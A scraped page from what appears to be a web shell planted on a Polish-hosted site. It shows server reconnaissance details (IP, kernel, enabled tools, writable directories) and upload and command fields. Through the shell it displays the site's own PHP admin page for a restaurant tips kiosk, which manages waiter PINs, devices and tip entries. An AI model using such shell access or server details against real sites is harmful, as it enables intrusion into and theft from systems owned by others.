403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/tips-kiosk.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
require_login();
ensure_tips_kiosk_schema();

$user = admin_user();
if (!$user || !in_array((string)$user['role'], ['admin','manager'], true)) {
    http_response_code(403);
    exit('Terminalem napiwków zarządza administrator lub manager.');
}

$date = trim((string)($_GET['date'] ?? $_POST['date'] ?? date('Y-m-d')));
$d = DateTimeImmutable::createFromFormat('!Y-m-d', $date);
if (!$d || $d->format('Y-m-d') !== $date) {
    $date = date('Y-m-d');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verify_csrf();

    try {
        $action = (string)($_POST['action'] ?? '');

        if ($action === 'activate') {
            $name = trim((string)($_POST['device_name'] ?? ''));
            tip_kiosk_activate_device($name, (int)$user['id']);
            admin_log('tip_kiosk_activate', 'Aktywowano terminal napiwków: ' . ($name ?: 'Terminal napiwków'));
            flash('success', 'To urządzenie zostało aktywowane jako terminal napiwków.');
            redirect('/admin/tips-kiosk.php');
        }

        if ($action === 'disable_current') {
            tip_kiosk_disable_current_device();
            admin_log('tip_kiosk_disable_current', 'Wyłączono bieżący terminal napiwków.');
            flash('success', 'Terminal na tym urządzeniu został wyłączony.');
            redirect('/admin/tips-kiosk.php');
        }

        if ($action === 'disable_device') {
            $deviceId = (int)($_POST['device_id'] ?? 0);
            tip_kiosk_disable_device($deviceId);
            admin_log('tip_kiosk_disable', 'Wyłączono terminal napiwków ID ' . $deviceId);
            flash('success', 'Terminal został wyłączony.');
            redirect('/admin/tips-kiosk.php');
        }

        if ($action === 'set_pin') {
            $waiterId = (int)($_POST['waiter_id'] ?? 0);
            $pin = (string)($_POST['staff_pin'] ?? '');
            tip_kiosk_set_waiter_pin($waiterId, $pin);
            admin_log('tip_kiosk_pin_set', 'Ustawiono PIN terminala dla kelnera ID ' . $waiterId);
            flash('success', 'PIN kelnera został zapisany.');
            redirect('/admin/tips-kiosk.php');
        }

        if ($action === 'clear_pin') {
            $waiterId = (int)($_POST['waiter_id'] ?? 0);
            tip_kiosk_clear_waiter_pin($waiterId);
            admin_log('tip_kiosk_pin_clear', 'Usunięto PIN terminala dla kelnera ID ' . $waiterId);
            flash('success', 'PIN kelnera został usunięty.');
            redirect('/admin/tips-kiosk.php');
        }

        if ($action === 'void_entry') {
            $entryId = (int)($_POST['entry_id'] ?? 0);
            $reason = trim((string)($_POST['reason'] ?? ''));
            tip_kiosk_void_entry($entryId, (int)$user['id'], $reason);
            admin_log('tip_kiosk_void', 'Cofnięto wpis napiwku ID ' . $entryId);
            flash('success', 'Wpis został cofnięty, a pula dnia przeliczona.');
            redirect('/admin/tips-kiosk.php?date=' . rawurlencode($date));
        }

        if ($action === 'sync') {
            tip_kiosk_sync_pool($date, (int)$user['id']);
            flash('success', 'Pula dnia została przeliczona z wpisów terminala.');
            redirect('/admin/tips-kiosk.php?date=' . rawurlencode($date));
        }
    } catch (Throwable $e) {
        flash('error', $e->getMessage());
        redirect('/admin/tips-kiosk.php?date=' . rawurlencode($date));
    }
}

$device = tip_kiosk_device();
$devices = tip_kiosk_devices();
$sum = tip_kiosk_sums($date);
$entries = tip_kiosk_entries($date);
$pool = tip_pool_by_date($date);
$waiters = db()->query(
    "SELECT id,username,name,staff_pin_hash
     FROM users
     WHERE active=1 AND role='waiter'
     ORDER BY COALESCE(name,username)"
)->fetchAll();

render_admin_header('Terminal napiwków');
?>
<div class="admin-title-row">
    <div>
        <h1>Terminal napiwków</h1>
        <p>Wspólny ekran dotykowy. Kelner wpisuje 4-cyfrowy PIN, kwotę i wybiera karta / gotówka.</p>
    </div>
    <a class="btn btn-primary" href="/tipy/" target="_blank" rel="noopener">Otwórz terminal ↗</a>
</div>

<div class="grid-cards">
    <div class="card">
        <h3>Pula <?= e((new DateTimeImmutable($date))->format('d.m')) ?></h3>
        <div class="stat"><?= e(tip_money($sum['total'])) ?></div>
        <div class="muted"><?= (int)$sum['count'] ?> wpisów</div>
    </div>
    <div class="card">
        <h3>Karta</h3>
        <div class="stat"><?= e(tip_money($sum['card'])) ?></div>
    </div>
    <div class="card">
        <h3>Gotówka</h3>
        <div class="stat"><?= e(tip_money($sum['cash'])) ?></div>
    </div>
    <div class="card">
        <h3>Rozliczenie dnia</h3>
        <div class="stat" style="font-size:18px">
            <?= !$pool ? 'Brak' : ($pool['status']==='settled' ? 'Zamknięte' : 'Otwarte') ?>
        </div>
    </div>
</div>

<div class="two-col" style="margin-top:20px">
    <section class="form-card">
        <div class="admin-section-title">
            <h2>To urządzenie</h2>
        </div>

        <?php if ($device): ?>
            <p><strong><?= e((string)($device['device_name'] ?: 'Terminal napiwków')) ?></strong></p>
            <p class="muted">Aktywne. Możesz teraz zainstalować `/tipy/` jako aplikację PWA i wylogować panel administracyjny.</p>
            <div class="actions">
                <a class="btn btn-green" href="/tipy/" target="_blank" rel="noopener">Uruchom terminal</a>
                <form method="post">
                    <?= csrf_field() ?>
                    <input type="hidden" name="action" value="disable_current">
                    <button class="btn btn-light" type="submit">Wyłącz na tym urządzeniu</button>
                </form>
            </div>
        <?php else: ?>
            <form method="post" class="form-grid">
                <?= csrf_field() ?>
                <input type="hidden" name="action" value="activate">
                <label class="full">
                    Nazwa urządzenia
                    <input name="device_name" value="Ekran dotykowy – restauracja" maxlength="120">
                </label>
                <div class="full">
                    <button class="btn btn-green" type="submit">Aktywuj to urządzenie</button>
                </div>
            </form>
        <?php endif; ?>
    </section>

    <section class="form-card">
        <div class="admin-section-title">
            <h2>PIN-y kelnerów</h2>
            <p>Terminal przyjmuje dokładnie 4 cyfry.</p>
        </div>

        <?php if (!$waiters): ?>
            <p class="muted">Brak aktywnych kont z rolą Kelner.</p>
        <?php endif; ?>

        <?php foreach ($waiters as $waiter): ?>
            <div class="staff-row" style="align-items:center;gap:10px;flex-wrap:wrap">
                <div style="min-width:160px;flex:1">
                    <strong><?= e($waiter['name'] ?: $waiter['username']) ?></strong>
                    <div class="muted"><?= !empty($waiter['staff_pin_hash']) ? 'PIN ustawiony' : 'Brak PIN-u' ?></div>
                </div>

                <form method="post" class="actions" autocomplete="off">
                    <?= csrf_field() ?>
                    <input type="hidden" name="action" value="set_pin">
                    <input type="hidden" name="waiter_id" value="<?= (int)$waiter['id'] ?>">
                    <input
                        name="staff_pin"
                        type="password"
                        inputmode="numeric"
                        pattern="[0-9]{4}"
                        maxlength="4"
                        placeholder="4 cyfry"
                        required
                        style="width:110px"
                    >
                    <button class="btn btn-small btn-green" type="submit"><?= !empty($waiter['staff_pin_hash']) ? 'Zmień PIN' : 'Ustaw PIN' ?></button>
                </form>

                <?php if (!empty($waiter['staff_pin_hash'])): ?>
                    <form method="post">
                        <?= csrf_field() ?>
                        <input type="hidden" name="action" value="clear_pin">
                        <input type="hidden" name="waiter_id" value="<?= (int)$waiter['id'] ?>">
                        <button class="btn btn-small btn-light" type="submit">Usuń PIN</button>
                    </form>
                <?php endif; ?>
            </div>
        <?php endforeach; ?>
    </section>
</div>

<section class="form-card" style="margin-top:20px">
    <div class="admin-title-row">
        <div>
            <h2>Wpisy terminala</h2>
            <p><?= e((new DateTimeImmutable($date))->format('d.m.Y')) ?></p>
        </div>
        <form method="get" class="actions">
            <input type="date" name="date" value="<?= e($date) ?>">
            <button class="btn btn-light">Pokaż</button>
        </form>
    </div>

    <div class="table-wrap">
        <table class="admin-table">
            <thead>
                <tr>
                    <th>Godzina</th>
                    <th>Kelner</th>
                    <th>Rodzaj</th>
                    <th>Kwota</th>
                    <th>Terminal</th>
                    <th>Status</th>
                    <th></th>
                </tr>
            </thead>
            <tbody>
            <?php if (!$entries): ?>
                <tr><td colspan="7" class="muted">Brak wpisów.</td></tr>
            <?php endif; ?>

            <?php foreach ($entries as $entry): ?>
                <tr>
                    <td><?= e(substr((string)$entry['created_at'], 11, 5)) ?></td>
                    <td><strong><?= e($entry['name'] ?: $entry['username']) ?></strong></td>
                    <td><?= $entry['payment_method']==='card' ? 'Karta' : 'Gotówka' ?></td>
                    <td><strong><?= e(tip_money((float)$entry['amount'])) ?></strong></td>
                    <td><?= e((string)($entry['device_name'] ?: '—')) ?></td>
                    <td>
                        <?php if (!empty($entry['voided_at'])): ?>
                            <span class="tip-status is-open">Cofnięty</span>
                        <?php else: ?>
                            <span class="tip-status is-settled">OK</span>
                        <?php endif; ?>
                    </td>
                    <td>
                        <?php if (empty($entry['voided_at']) && (!$pool || $pool['status']!=='settled')): ?>
                            <form method="post" class="tip-actions">
                                <?= csrf_field() ?>
                                <input type="hidden" name="action" value="void_entry">
                                <input type="hidden" name="entry_id" value="<?= (int)$entry['id'] ?>">
                                <input type="hidden" name="date" value="<?= e($date) ?>">
                                <input name="reason" placeholder="Powód" required minlength="3" style="max-width:130px">
                                <button class="btn btn-small btn-light">Cofnij</button>
                            </form>
                        <?php elseif (!empty($entry['void_reason'])): ?>
                            <small><?= e((string)$entry['void_reason']) ?></small>
                        <?php endif; ?>
                    </td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    </div>

    <form method="post" style="margin-top:14px">
        <?= csrf_field() ?>
        <input type="hidden" name="action" value="sync">
        <input type="hidden" name="date" value="<?= e($date) ?>">
        <button class="btn btn-light" type="submit">Przelicz pulę z terminala</button>
    </form>
</section>

<section class="form-card" style="margin-top:20px">
    <div class="admin-section-title">
        <h2>Aktywowane terminale</h2>
    </div>
    <div class="table-wrap">
        <table class="admin-table">
            <thead><tr><th>Nazwa</th><th>Status</th><th>Ostatnio</th><th></th></tr></thead>
            <tbody>
            <?php foreach ($devices as $item): ?>
                <tr>
                    <td><?= e((string)($item['device_name'] ?: 'Terminal')) ?></td>
                    <td><?= (int)$item['active'] === 1 ? 'Aktywny' : 'Wyłączony' ?></td>
                    <td><?= e((string)($item['last_seen_at'] ?: '—')) ?></td>
                    <td>
                        <?php if ((int)$item['active'] === 1): ?>
                            <form method="post">
                                <?= csrf_field() ?>
                                <input type="hidden" name="action" value="disable_device">
                                <input type="hidden" name="device_id" value="<?= (int)$item['id'] ?>">
                                <button class="btn btn-small btn-light">Wyłącz</button>
                            </form>
                        <?php endif; ?>
                    </td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    </div>
</section>

<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit